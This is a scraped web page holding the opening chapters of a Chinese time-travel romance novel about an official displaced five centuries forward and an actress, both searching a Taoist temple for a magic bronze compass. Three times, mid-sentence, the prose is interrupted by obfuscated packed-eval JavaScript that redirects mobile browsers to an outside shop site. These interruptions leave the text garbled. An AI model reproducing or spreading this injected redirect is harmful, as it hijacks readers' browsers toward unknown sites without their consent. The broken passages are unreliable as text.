《我只是您妹妹.》 1. 近在眼前,远在天边 “大人?明日便能抵达京城,更深露重,您又受了些风寒,不如早早歇下……” 商文载不甚在意地朝属下挥了挥手,握着拳头,轻咳一声,“我省得的,只是胸口烦闷,横竖睡不着,倒不如出来走走。你也趁早歇了吧,攒下些精神头,明日归家了,好好见见家人。” 这时,一阵寒风吹拂而过,商文载捂着嘴角,又是一声咳嗽,断断续续,恍恍惚惚,“快半年了,也不知我夫人如何了……” 他说完便静静远眺看着极近、实则相距甚远的京城,不再言语,四下顿时只有呼呼而过的风声,和偶尔啼叫几声的不知名虫鸟。 那属下闻言,猛然瞪大了瞳孔,浑身动弹不得,仿佛被鬼神上了身。 他素来听闻这位大人一心扑在朝堂之事,近些年越发得意,渐有青云直上的态势,可说来也有一件怪事。 商大人如今三十余岁,别说是娘子,连个小妾也是没有的。同他年岁相当的男子,儿女都不知有了几个,可他商府的门槛都险些被人踏破了,也不曾听闻他甚么风流韵事,甚至有大胆的人私下传言,莫非……这位大人是个断袖? 他、他哪里来的夫人? 突然听他说了这番奇异的话,属下只觉得绕在身上的寒风变作了鬼影,怕得他身上陡然一凉,好像也染了风寒似的。 哪来的鬼?这太平盛世,怎么会有鬼? 属下猛拍额头,强打精神,还打算再劝告一番,商文载紧了紧宽大的衣袍,又冲他点头一笑,挥挥手,再不管属下的欲言又止,隐入夜色中,几个瞬息就消失不见。 皎白月色寒凉如水,密密麻麻地覆在身上,大概是染了风寒的缘故,甫一踏入其中,更觉得刺骨的冷。 近些年来,北境匈奴愈发猖獗,频繁侵扰边境,掠夺边民,民意汹涌,战争一触即发。 眼看着愈演愈烈,朝廷内主战主和两派仍旧纷争不断,每每上了朝,只不过是唇枪舌战、你来我往,断然吵不出个所以然来。 去岁隆冬,较之往年更加苦寒,北境几个部落的寇贼聚在一处,一路向东掠夺。 沿途官兵节节败退,所设关卡形同虚设,最后那帮贼人竟然打开关口,一行人浩浩汤汤直往京城的方向而来。 温和悠哉的人主终于慌了神,不再醉心于求仙问道,转而开始求破局之法,问退敌之道。 战争终于爆发。 正是在这样的危局下,商文载身为兵部侍郎,虽是个文臣,朝中无人,也只能临危受命,被今上派往北境。 这一去转眼便是五个月。 去时还是银装素裹,回来时已经绿满人间。 因是临危受命,去时十分仓促,等不及细细处理。彼时,家中夫人正同他闹了不自在,两人已是半月不曾说话。 他得了令后,一心牵挂北境战事,一心又放不下家中的娘子。 临行前夜,本想同她服个软,说几句软话,走之前解了夫妻之间的嫌隙才是要紧。 没想到她故意避开他,饭后早早歇下了,更是一整夜背对着他。 这可如何说得上话? 她时丛若素来气性大,绝不肯服软,可他商文载又何尝不是如此?他还能比她更甚! 如此,两人便在离别之夜充了一整晚的木头人。 若是事情停在了此处,他商文载也不至于这会儿情怯。 可她真是会捉弄人的。 天未见亮,他起身披衣欲行,她忽地跑下床榻,绕过金丝雕花屏风,从他身后抱住他,死死箍住他。 商文载转过身,只见她一头乌发遮了大半张脸,看不清表情。 “你,这次能不能不去?” 军令如山,谁敢忤逆? “陛下已下了旨,大军也已在城外,即刻开拔,我如何能不去?”他叹了口气,摸了摸她的头顶,“娘子要是想我了——” 还没等他说完,时丛若突然仰起头,一串泪珠滑落,砸进衣襟里,“可、可我心中不安稳,总觉得你此行恐有不顺——” “嘘,这话可说不得,仔细被你请来的神鬼听见了,捉弄我。”商文载指了指屋内不远处摆着的一尊神像,笑着打趣她道。 前些日子,两人去城外的道观祈福,回程途中偶然救下一濒死的老道士,那道士醒来便从医馆中消失得无影无踪,还连累得时丛若忧心了几日。 本以为他狼心狗肺、不辞而别,可没想到,又过了几日,他竟然再次现身,登门道谢,还将这尊神像送给了商家夫妇。 商文载向来不信神鬼之说,更是轻视这些物件儿,便想着随意处置了,可经不住他娘子要求,只好留了下来,还被她摆在卧房中,日日看着两人。 红烛帐下,偶一抬眼,忽的见到那尊神像,意兴便散了一大半,晦气得很! 商文载总想着扔了这破烂玩意儿,可又拗不过时丛若,只能透过帷帐剜了它一眼又一眼。 这会儿正好拿它打趣,可时丛若只当做未听见,哽咽道:“我不想你去……” 她已哭红了鼻头,还未有停下来的态势,商文载忙正了脸色,替她擦干净泪水,摸了摸她鼻尖的痣。 “若儿乖……我会平安回来的……”他弯下腰,蹭着她鼻尖。 两人气息纠缠在一处,时丛若知他没奈何,但心中又急又气,一时控制不住,气性上来,将他狠狠挥开,背对他,几步回到了榻上。 “若儿……” “不必再说。” 那日之后,她那双噙着泪水的眼眸,还有眼底那道抹不开的红,便烙印在他心头,烙了五个月。 他一直存着哄她的心思,五个月以来,每月总差人往京城送回一封家书。 五封信件尽数石沉大海,竟没有一封回信。 想到此处,商文载眺望着京城的方向,抿紧了嘴角,“若儿啊……” 脚下的春草沾了寒露,细密地贴在衣摆之上,等到商文载停下脚步,披在身上的那件衣袍已经湿了一半,隐隐约约混了些土腥气和草汁的味道。 他抖了抖衣摆上的碎草屑和泥点,抬目往前一看,不知不觉已走到一处破败的道观前。 道观门头的牌匾藏在密实的尘灰和蛛丝网后,又隐在浓重的夜色间,让人看的并不很清楚。商文载拾级而上,走近了,才依稀分辨出,上书三个大字:清虚观。 破败的木门虚掩着,只需轻轻一推,便门户大开。 商文载拂去肩膀上抖落的灰尘,又撇去层层叠叠的蛛丝网,借着月色抬眼望去。 道观不算很大,当中供奉着三清天尊,几尊神仙全部被厚重的尘埃和蛛丝覆盖,破败,陈旧,孤独。 没了信徒的恭维,连神仙也狼狈。 商文载盯着那几尊神仙,并未出声,也看不出甚么表情。 “喵——”这时,不知哪里来了一只狸奴,从当中的那尊神仙手上一跃而过,随即跳出门去,只留下一道若有若无、一掠而过的残影。 商文载还未反应过来,又是“咣当”一声,一只青铜圆盘落在他脚边,上面隐隐约约闪现着一道道的浮文。 他正要捡起看了,这时几点乌黑色浮云在天际悠游,忽地挡住高悬的明月,道观内顿时落入一片漆黑。 昏黑当中,商文载只觉得这道观里透着几分诡异,渗透出愈发厉害的寒气,竟连身上厚重的袍子也抵挡不住了。 顾不上捡了那圆盘来看,他拢了拢素色的外袍,转身提步正要离去,道观的木门外突然闪现一道柔和的光芒,仿佛那圆月落了。 愣怔之间,木门后歪斜在地的屏风后突然走出来一道瘦削的身影。 乌墨长发如瀑,遮挡住巴掌大小的半张脸,眉黛春山,秋水剪瞳,暗含哀怨,风情不尽;一身月白长袍垂坠在地,两相映衬,好似一副水墨仕女图,任谁看了也得驻足欣赏。 不过商文载此刻并没有欣赏之意。 他慌了神,提起半边衣摆,猛地匆忙向前,“若儿,你、你怎会在此……” 对方沉了沉身子,并不作答。 顷刻间,头顶悬挂的蛛丝开始同他作对,细细密密地绕成一簇又一簇,织成一张巨大的帷幔,将两人相隔。 日思夜想的人近在眼前,他如何能按捺住心头的热意? 商文载迎上前要相见,广袖一挥舞,蛛丝顿时断落,绕在他手上。 蛛丝织成的帷幔大开,视野开阔,独不见来人。 商文载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993115|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只感到脑中一阵又一阵的钝痛,看来是风寒又重了些,也是,这般荒郊野外,夜半无人之时,娘子必定在府中,如何会在此? 他当真是疯了。 他摇了摇头,企图甩去心中杂念,又捻了手臂上缠绕的蛛丝,刚打算扔开,那蛛丝却和他垂坠下来的墨色长发粘到一起。 一黑一白,本来泾渭分明,眨眼之间,两抹颜色竟然变成一致。 商文载就这样,看着他的墨发刹那间变成一头花发,他惊惧不已,心中大骇,抬手一看,那双骨节分明的手也瞬间枯槁,如同枯枝…… 再抬眼一望,眼前只剩下一破败的木门,一倾倒的屏风,满地散乱的蛛丝,漫天的灰尘,哪还有什么若儿…… 从此,便是远在天边,永远不能相见了…… - “滴答……”水龙头里的水一直滴着。 很久之后才走进来一个身影,那人手一抬起,滴答声随之停止。 手指修长纤细,手掌宽大有力,一看就是一双男人的手。 商文载关了水龙头后,抬起双手看了看,又望着镜子中的自己,一头黑发,一时间又开始分不清楚这会儿镜子中的自己是幻影,还是当初道观中的他才是个假象。 “叮叮——” 突然响起的手机铃声惊醒了他,他走出卫生间,随手拿起床头柜上的手机。 才刚滑动屏幕,电话那头立马传来一道欢呼的声音,刺耳得商文载立马把手机拿远。 “哥!哥!我下午就和助理到影视城了,说好的啊,你晚上过来看我!” “好。”商文载捏了捏眉心,又拿起床头柜上的金丝眼镜戴上,想叹一口气,又怕这个弟弟听到后找茬,最终还是忍住了。 商文洛只比他小三四岁,但心理年龄最少小上十岁。 今年已经二十七岁的人,不论说起话还是做起事,还像个刚出社会的毛头小子,风风火火,咋咋呼呼,跟小时候没什么两样。 算起来,转眼间,今年已经是他来到这个时空的第二十一年。 当初在那破道观中先是若儿消失了,然后道观外突然亮起一道刺眼的白光,他睁不开眼,忙伸手一挡,等到再放下手,就来了这里。 要不是他完完整整地记得曾经的身份和所有的经历,恐怕还真的会分不清真假,以为在另一个时空的三十余年,只不过是他头脑发昏,做的一场梦。 下午不到五点,商文载提前到了影视城的位置。 但他并没有立马去里面见弟弟,而是调转了方向,一路向南,驾轻就熟地到了一处山头底下。 山头不高,抬步往上,沿着台阶走上几十步,就是一个观音庙,里面供奉着一尊送子观音菩萨。 前些年还没建影视城的时候,商文载就总路过这里,那时候人还很多。 这里虽然偏僻,但有个很灵的名声在外。 传言某一对夫妻前一天到这儿拜了拜,当晚就做了个梦,第二个月就查出来了怀孕,所以香客众多,往来络绎不绝。 可小孩怎么能是做梦做出来的?谁知道当晚那夫妻俩到底做了些什么。 这些年来估计是经济不佳,钱难挣,所以连造小孩的欲望也渐渐没了,更别管什么灵不灵的名气,这观音庙也就跟着萧条下来。 不过瘦死的骆驼到底比马大,观音庙再怎么落寞了,也比离它不远的道观强上太多。 前者不过是萧条了,后者从来就没有起来过。 外观和五百多年前商文载见到的时候差不多,得益于里面某人的一番经营,看着倒不怎么破败了。 清虚观。 名字还是一样,但历经了五百余年,曾经的道观早就倒塌了,这会儿已经不知道是重新修建了几次的结果。 和以前来的时候一样,里面照例是没什么人的,只有零零散散的几个香客。 大殿里面一个二十岁出头的小道士正闭着眼睛打坐,手边还放着一个iPad,屏幕上依稀可见是一卷电子经文。 商文载环顾了一圈,没有看到那人,愣了几秒钟后,心下一动,径自往后山去了。 他前脚刚离开,后脚两个鬼鬼祟祟、戴着口罩的女人就进了道观。 2. 草盛豆苗稀 “你让我走!我不进去!像什么话啊,被人看到还了得!”她嘴上拒绝,手上却没有半点动作,任由对方圈着她手臂将她往道观里面带。 “不去怎么行?来都来了!”白晓花眉毛一挑,声音拔高,看到道观里这个点儿竟还有几个人,连忙又放低音量劝时扬。 “那这样,你先别管你因为那个谁被换角色的事,就算是为了我。祈求我碰上个靠谱的新人,祈求她顺顺利利,平平安安,不要在我劳心费力把人推上去之后,恋爱脑发作,‘啪嗒’一下掉下来,让我前功尽弃!” 白晓花咬牙切齿地说着,又想到她带的前一个男演员,那个谈恋爱之后光速糊了的“旧人”,想到她日夜操劳最后落得一场空,被公司发配来带时扬这个更难带的新人,眼光便攥着身旁的人,攥得死紧。 时扬被她看得后背发凉,也听出了她暗暗的警告,想到她因为谁被换的角色,顿时有点心虚,忙打个岔,“那、那为什么要来道观啊?” “隔壁是个观音庙,求子很灵的,你去不去嘛?” “……那不能去。” - 果不其然,后山一块斜坡上的菜地里,那人握着把锄头,正倚靠在土坡上擦汗。 “无为道长连种地也亲力亲为,真是勤劳,也颇有些闲情逸致。“商文载站在土坡下面浅笑着,淡淡道。 他的语气听着寡淡,不掺杂情绪,但无为道长听出来了,这人分明就是在揶揄他。 “哪有什么闲情逸致,正所谓‘春雨贵如油’,好不容易下了一场雨,得了老天的恩赏,自然得勤快些。比不得大人您,悠游自在。” 说着,无为道长又擦了一把额头上的汗水,将紧紧贴在额头上的几缕白发顺到耳后。 顶着有些刺眼的西斜日光,他看着来人一手拎了个包,一手插着兜,一身清贵打扮,满脸闲适松弛,不知道的还以为是刚打了高尔夫球过来的。 无为道长低头看了看自己沾满泥土的布鞋,一身洗得早已褪色、连边角都撕裂了的衣裳,扯了野草而被染黄的粗糙手掌,不由得嘴角往下一撇。 那张脸、那双手一看就是没吃过苦头的,再对比着他这身狼狈的模样,他更觉得心头一阵盖过一阵的心酸。 明明都是一起来到这里的,五百年前他是个平平无奇的老道士,如今还是个平平无奇的老道士。 而对方呢,五百年前是朝廷的三品大员,如今投胎在一个书香门第之家,事业有成,正值壮年,模样又好,要是回不去了,也总归差不了的。 呵,活了两辈子,两人倒是都不忘初心,以前什么光景,现在还什么光景! 商文载看着无为道长脸上红了又白,白了又红,只晓得他脑子虽然老,但活泛,总想些有的没的,这会儿猜不出他又在脑子里勾兑些什么,直接问道:“道长,那罗盘可寻着下落了?” 他这趟来,一是商文洛的要求,二是几天前接到无为道长的一通电话。 这道观虽然前几年经过一次修补,但到底没有大修,所以半个月前的一场大雨之后,西南一角的偏殿便裂了个口子。 起初观里并无人察觉,经过连绵几天小雨之后,口子逐渐扩大,终于在几天前彻底塌陷。 当夜,伴随着“轰隆”一声巨响,无为道长带着他的七个徒弟,站成一排,立在一堆废墟前面,几个人抄着手,你瞧着我,我瞧着你。 无为道长的老脑子好似被这场大雨浇灌,经过一夜休息之后又开始活泛,第二天一大早,一个电话直接就打给了商文载。 管人要钱,总也得有个合适的理由。 所以当商文载问及他“罗盘可有线索?”的时候,他硬着头皮、攥着衣角,笃定道:“有。这道观我都翻遍了,只剩下西南一角未曾探查,故而我猜测,罗盘兴许就在废墟底下。” 这会儿见商文载二话不说,直入主题,无为道长一愣,而后脸不红心不跳地道:“老道惭愧,年岁大了,记性也差了。昨日差人翻遍了那处废墟也没寻见,才突地想起来,西南方位我早就翻了个底朝天的,罗盘断然不可能在那处。” 言罢,无为道长作势无奈地长叹一口气,脸上尽是遗憾与懊恼。 他直接忽视商文载的冷笑,毫不心虚地重新拿起锄头开始除荒草,口中差点连小曲儿也哼唱出来。 反正钱已骗到手,管他什么罗盘罗碗罗筷的,他横竖是不知道的! 几颗汗水顺着他额头划过脸颊,激起一阵痒意,无为道长抬手胡乱一抹,手上的草木灰敷了大半张脸,一半白,一半黑。 商文载被这混不吝的老道士气得无语,也被他的滑稽模样惹得差点笑出声,他没有奈何,推了推鼻梁上的眼镜,藏住眼底的失望。 “既然如此,我也不多打扰——” “唉,大人,我知道您不爱听,但我也得奉劝您一句:一切皆应顺其自然。”无为道长转了转一对浑浊的老眼,语重心长道。 这些年来,他早见惯了商文载的次次无功而返,虽说明白对方听不进去,但也想他能放下。 “您都问了我许多次了,每回总是同样的结果。这些年来,我知道您想寻着那罗盘,寻着个回去的法子,可是…… “可是且不说那罗盘如今下落不明,就算是找着了,您怎么能确定它能让我们二人回去?与其空留个万分之一的向往,倒不如——” “如何?倒不如安顿在此世此地?”商文载没等他说完,笑了笑,温和地接过话头。 见对方的神情,无为道长了然,不好再劝。他嘛,到哪里都是个无权无势的小小道士,活在五百年前,活在当下,没太大差别。 甚至得益于后人的智慧,就算这会儿只是个道长,不缺吃穿,不必在天灾人祸的时候出去讨饭,比五百年前滋润太多了。 但是眼前这位大人跟他全然不同…… 可他的话都到了喉咙,忍了又忍,怎么能忍得住? 道长硬着头皮,又叹了一口气,不太乐观地说:“我知道您放不下,可若是真回不去了呢?这些年来,您遍阅群书,也没查出你我存在于过去的痕迹来。贫道籍籍无名,查无可查,可大人您与我不同,按理来说,三元及第,惊才艳艳,必定在史书上有所记载,不可能查不出的。” 听到这话,商文载明显一愣,“天下英雄如同过江之鲫,多少仁人志士也不过昙花一现,只在史书上留下只言片语——” “可是您夫人的名讳却在时家的族谱中记下了,难道她一闺阁女子,还比不上您这个三品大员?依贫道看呐,你我二人已在历史上除了名了!哪里还能有回去的法子!” 见商文载不说话了,无为道长用锄头支着身体,又是长叹一口气,不过好歹退了一步。 “五百年了,这道观不知翻新重建了多少次,这些年我也找了不知多少次,说是翻个底朝天也不为过。那罗盘就算还在这观中,人来人往,巴掌大个物件儿,兴许几百年前就被某个香客捡走了。哎,再要寻见,无异于大海捞针呐!” 商文载拎着包的手握紧了,但面上半分不显,还维持着一贯的微笑。 “虽然如此……还是劳烦道长再试一试罢。”商文载早没了耐心,和道长点了点头,十分干脆地就要扭头离开。 “唉!”看着商文载转身离去的背影,无为道长忙丢了锄头,三两步跳下土坡,惊呼出声,“横竖大人您都来了,不如再给观里捐点香火钱,好让我修缮修缮其他偏殿——” 商文载终于被这混不吝的气得笑出声来,转过身道:“一切皆应顺其自然,人有命数,房屋瓦舍也有。到了年限,便是气数尽了的时候,塌了便是,修缮它作甚?” 被他拿自己的话反将一军,无为道长如鲠在喉,差点一口气提不上来。 道长恨恨咬牙道:“应是如此的。西南的偏殿得了大人的助力,才能延续命数,贫道我在此替它谢过大人了。望大人日后能平安顺遂,事业蒸蒸日上!” 他咬牙切齿的模样可不像是在祝愿,言外之意反倒希望他一辈子回不去。 商文载被他气得又是一笑,他一只手插在兜里,也淡淡祝愿:“‘晨兴理荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993116|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秽,带月荷锄归’。那我也祝无为道长能乐于田园生活,身体康健。” 说着,商文载歪了歪身体,看向无为道长身后装在布袋子里的黄豆,掩嘴一笑,利落地转身离开。 无为道长不知道他为什么吟起诗来了,他扭头一看,也看到地上的那堆黄豆,想了半晌,突然懂了。 好哇,诅咒我“草盛豆苗稀”是吧? 无为道长张口还要找回场子,可商文载长腿一伸,这会儿只远远地留下了个背影。 - 在白晓花满面虔诚地点香烛的时候,时扬背着双手,优哉游哉地四处转悠。 清虚观太小,还没走两步就逛完了。 她从大殿前方绕到道观后面,又从后面逆时针绕到大殿前面,看白晓花正在跟一个不认识的香客熟络地聊着天。 大殿外的柱子旁,白晓花捏了一块小饼干,笑呵呵、不紧不慢地吃着。饼干正是刚才和她聊天的香客给的,两人一边吃一边聊,好像多年没见过面的老友。 时扬摇了摇头,嫌弃她的经纪人话太多太密,又感到庆幸。 好在白晓花只顾着跟人聊天,不然,不就得一刻不停地盯着她了吗…… 时扬心头嘀咕,看着和白晓花面对面的香客又递给她一小袋饼干,长舒一口气,自发地又往道观后走去了。 道观小,后院也小,方寸一样的地界,慢悠悠地逛也逛不了几分钟。 白晓花只以为她是被拽着来,为了所谓转运,可只有时扬自己心里清楚,她这一趟本就是要来道观的。为的,则是二十多年后她偶然从这观中找到的一块罗盘。 那时候,她心灰意冷,一心求死,没成想那块破铜烂铁一般的罗盘却改换了她的命数。 等她再一醒来,就来到了2003年。 这些年她过得虽不怎么顺利,却有滋有味,乐不思蜀,以至于忘了最重要的事情。 要不是室友兰一一硬拽着她看了一个穿越设定的电视剧,她根本不会意识到一个问题:如今已经是2024年,下一世的她出生在2026年,等到两年后,下一世的那个时扬出生了,她……还会存在吗? 相比之下,这一问题还算不急迫,毕竟也在两年之后了,可另一个问题从兰一一带着她看了那电视剧之后就一直在她脑海里盘桓:那罗盘可以带她来到当下,要是再次出现,岂不是也能带她回到下一世? 时扬想到下一世的那些龌龊,脑袋摇得如同拨浪鼓,心里越来越急切,恨不得下一秒就找到罗盘,将它粉身碎骨,永远起不了作用! 可说来也奇怪,她一心求死的时候,那破烂玩意儿自己就送上了门,这会儿发疯一样地想活下去了,那东西又藏得好好的,谁也不知道下落。 难道……那罗盘真有灵性,知道自己是为了毁掉它才寻的,就严严实实地藏起来了? 这小半年来,时扬查遍了资料,去了全国好几个名为“清虚观”的地方,各种排除,才终于确定:二十多年后变成废墟的清虚观,就是这个道观,而她想要找到的罗盘,大概率就在其中。 又围着道观绕了一圈,大致摸清楚地形之后,时扬终于感到累了。 她穿了个米白色的连衣裙,搭了双棕色的西部靴,胳膊露在外面,这会儿正是春日傍晚,道观后院又不见阳光,风一吹就有些冷。 时扬缩了缩脖子,往院内的枯井边缘上坐着,一边漫无目的地打量院内的陈设,一边忍不住搓了搓手臂上的鸡皮疙瘩。 歇了小半会儿,时扬拿出手机,眼看着半个小时快过去了,白晓花也没找她,她决定催一催,毕竟时候也不早了,晚上还约了人吃饭。 突然,她拿着手机的手一阵发抖,只觉得阵阵天旋地转,好像马上就要栽倒在地上。 妈呀,中午忘吃饭,这会儿犯低血糖了! 时扬起不了身,眼前一片漆黑,什么也看不清楚,直直地栽向了后方。 保持着最后一丝理智,她紧紧攥着手机,带着它和她一起跌进了枯井里。 “救命啊,救——” 3. 酒壮怂人胆 商文载从后山下来,经过道观后院的时候好像听到了一阵莫名熟悉的声音,听着有些空旷,像是从地底下传来,好像时丛若的声音。 那声音断断续续,模模糊糊,但是等到他驻足再听,又彻底地消失了。 若儿还在过去,她怎么会在这里…… 他甩了甩头,企图甩去心中的杂念,可心头满是杂念,竟连一点儿也甩不去。 嘴上说着还想要试一试,可商文载心头也渐渐没了底气。 时日无多,这是无为道长刚才还没提出的一点。 他五百年前从清虚观里消失的时候,三十有二,他这会儿的年龄已是三十一。如果剩下的这一年里没能找到回去的法子,就不知道还有没有机会了…… 起初他来到这里的时候,只有十岁。 虽说有个三十多岁的灵魂,但毕竟只有个十岁的壳子。他尝试了许多办法,翻看了许多书籍,也没能找到回去的办法。 但他一直不曾放弃,哪怕他的名讳记载凭空消失在史书上。 他颓废了许久,整天恍恍惚惚,又生了一场大病,没有奈何,本来都下了狠心打算就这样安顿下来,谁又想到无意间发现了跟他一样来自过去的无为道长。 那日他没看清楚那刻着浮文的圆盘,可无为道长看清楚了,那是个青铜罗盘。 于是他那颗沉下去的心又浮了上来,重新鲜活地装进了他的胸腔里,无时无刻地提醒着他:只要找到了罗盘,得了个回去的机会,就能再见到若儿了。 可他找了快二十年,一无所获—— “咣当——”清脆一声,十分突兀,像是金属撞到石头上,也像硬币落地,咕咚滚了一圈儿。 “谁在那儿?”商文载思绪被打断,他立在院子当中,望着有些昏暗的院落一角。 那声音只出现了一下,就再没出现,商文载站了一会儿,还是心有怀疑,他的脚步刚打算踏出,手机铃声突然响起。 “哥,你到了吗?” “嗯,刚到,我马上过来。” 商文载收起手机,最后狐疑地望向水井的方向,头顶的天幕已经暗了下来,他到底没走过去,转身离开。 “哒哒哒……” 时扬听着外面皮鞋踩在青石板上的声音再次响起,她一只手凄惨地揉着屁股,另一只手紧紧地捂着嘴。 不幸中的万幸,虽然掉井里了,好在是口枯井,不至于淹死在里面。 万幸中又是不幸,试了两次,不但爬不出去,还摔了个屁股墩儿。 她龇牙咧嘴,“哎哟”一声,刚痛呼出声,脚下没站稳,好像靴子的高跟踩在了井底的碎石上,发出“咣当”的响声,晃得她又一个趔趄,差点撞上井壁,还差点招来个人。 她很想让外面路过那人救她上去,但是她实在嫌自己丢人。 虽然只是个十八线小演员,但也算露过脸的,这幅模样,不体面,太不体面! 这会儿她屁股上全是污泥,卷发里还夹杂了些细碎的松树毛,像是顶了一个硕大的鸡窝。 所以在皮鞋踏地的声音停下的时候,她也敏锐地跟着憋回痛呼声。 没事的,没事的,有白晓花在呢,她总不能丢下她的艺人不管不顾吧? - 白晓花赶到的时候,时扬因为又冻又饿,已经完全不嫌弃自己不体面了,正在哭天哭地地号丧。 “白晓花,救救我!” “小花,救救我吧!” “花花,我在这儿呢!” 白大经纪人听她中气十足,一瞬升起来的担忧降了大半,她满头黑线,认命地给时扬收拾烂摊子。 她连忙喊来几个小道士,又叫过来几个还没离开的香客,几个人手忙脚乱地找了一根粗长的麻绳,手忙脚乱地一起把时扬给拉了上来。 时扬上来的时候,完全没了丢脸的担忧,依靠在井口边喘气个不停,等到喘足了气才条件反射似的摸了摸脸上的口罩。 只摸了自己满脸的泥,口罩早就掉在了井里。 “放心吧,脸好好的,没毁!”白晓花没好气地说。 就一会儿没见人,这祖宗竟然能掉进井里面,还好只是口枯井,不然问题可就大了! 她看时扬大半张脸上都是黑色脏污,连鼻头上都沾了几点泥,叹一口气,用湿纸巾给她擦了擦。 留下个极小的泥点子擦不干净,白晓花凑近了时扬的脸,打算使点劲,距离近了才看到那是她鼻尖的一点痣。 这时,时扬猛地支起上半身,双眼瞪大,愣愣地盯着白晓花。 白晓花一面收回纸巾,一面数落她:“怎么,愣着干什么,这会儿知道害怕了?你能不能让我省点心——” “花花姐,我的手机……掉在底下了……” 白晓花顿时觉得今天的香和烛都白点了。这算转了哪门子的运势?不和以前一样的倒霉吗? “你……哎……” 白晓花看着时扬崴伤了的脚,凌乱的头发,还有她白色长裙上一大片一大片的污泥,最终什么也没说,只是摇了摇头,叹口气之后,认命地继续给她收拾烂摊子。 这会儿天色已经渐晚,树荫遮蔽之下的后院更是蒙上一层暗影。 几个小道士本来有些不情愿,但在白晓花巧舌如簧的攻势下,像是被她灌了什么药一样,突然扭转了态度,认认真真、客客气气地下井打捞手机。 其中一个年纪最小的小道士,被他的几个师兄撺掇着,在腰上绑了一根绳子,几个人拉着另一端,把小师弟一点一点地往下放。枯井不算太深,小道士三两下就到了井底。 漆黑一片中,手机屏幕反射出一点光亮。 “找到了吗?”年纪最大的那位师兄往井里探出个身子,在他头顶喊着。 “在这儿!”小师弟举着时扬的手机,仰头高声回应,露出他下井时碰了满鼻子泥的鼻头。 他大师兄听了他的话,总算放下心来,心道:白晓花承诺给的钱算是稳了。 “既然找到了,那就赶紧上来吧,下面还不知道有什么脏东西!” 话音刚落,井底下的小师弟突然哀嚎一声:“啊!好痛!” “怎么回事儿?”众人齐声问道。 小师弟抹了一把嘴边的污泥,狠狠呸了一口,“没……没事,不小心摔了一跤。” 他攥紧了绳子,正打算晚上爬,无意间往脚下一瞥,金属质地的圆盘上反射出一道十分微弱的手电筒的光…… “绳子攥住了吗?我们要往上拉了!”大师兄又喊了一句。 小师弟被这声音吓得一抖,震得楞在原地。他咽了咽口水,急忙回应:“马上、马上就好。” 一只沾满树叶和污泥的手朝那块圆盘猛地一伸,然后瑟缩着放入了随身的口袋里。 砰砰直跳的心脏险些弹出来,将他心脏的跳动声塞满整个枯井。 小道士不自觉地笑了笑,带了一丝掩藏不住的雀跃,朝头顶的方向高声喊道:“大师兄,我好了,拉我上去吧!” - 晚些时候,在白晓花的再三数落和絮絮叨叨中,时扬终于收拾干净自己。 她恹恹地勉强挤出一个浅笑,带了点讨好,半点儿不敢触白晓花的霉头,老老实实地跟在她屁股后头,去提前约好的饭局。 对方是圈内这些年来风头有些强盛的导演,熬了十几二十年可算是熬出了头,凭借着他的上一部剧名声大噪,近段时间十分炙手可热。 时扬本以为白晓花是凭借自己的三寸不烂之舌和人家在工作场认识的,正打算上道地恭维她两句,直到在去饭局的路上,才听到白晓花颇有些回首往事的兴味,感慨不已地讲述两人的私交。 “我和他啊,读书的时候就认识了。我俩都在一个大学,最开始也就是点头之交,直到出了学校门,又都进了同一个圈子,才慢慢熟络起来。 “比不上人家出生在北上广深这种大城市的,或多或少都有些盘根错节的关系,我们都是小县城出身,背景上就落后人家太多太多,起步太难。 “突然一进入圈子,看着同龄的人互相介绍资源,很快就做出了成绩,我和他只能在剧组干些边角料的活儿。没办法,熬吧熬,熬十年熬不出头,那就熬它个二十年!真好啊,他现在算是熬出头了……” 白晓花的声音越来越低,时扬循着声音侧头一看,只见她脸上已经有了些落寞。 “小花姐,你……” “哎,不说这些了,都是些过去的事情。倒是你,我卖着这张老脸给你介绍的人,你可千万不能给我得罪了,不然我也帮不了你了!” 时扬有些犹豫,“可是——” “可是什么可是?你一定要给我上心,听到没有?杨威挺好一个人,跟其他的那些不明是非的瘪犊子不一样,他可不会听信谣言随意否定人!” 被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993117|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随意否定的人……那不就是她嘛。 时扬摸了摸鼻子,任由白晓花说着,没再接话。 她看着白晓花脸上的志在必得和满心满眼的信任感,在嘴边堵了半天的话无论如何也说不出口,那些看似捕风捉影的话在她嘴里转了个弯,又被她吞进了喉咙里。 她和杨威上一部戏的一个女演员秦小凡很有交情,两人是同乡,所以十分投得来。 两人天南海北地瞎忙,总没时间,虽然私底下很少聚在一起,但在微信上保持着高强度的往来,恨不得把听到的八卦做成个共享的表格。 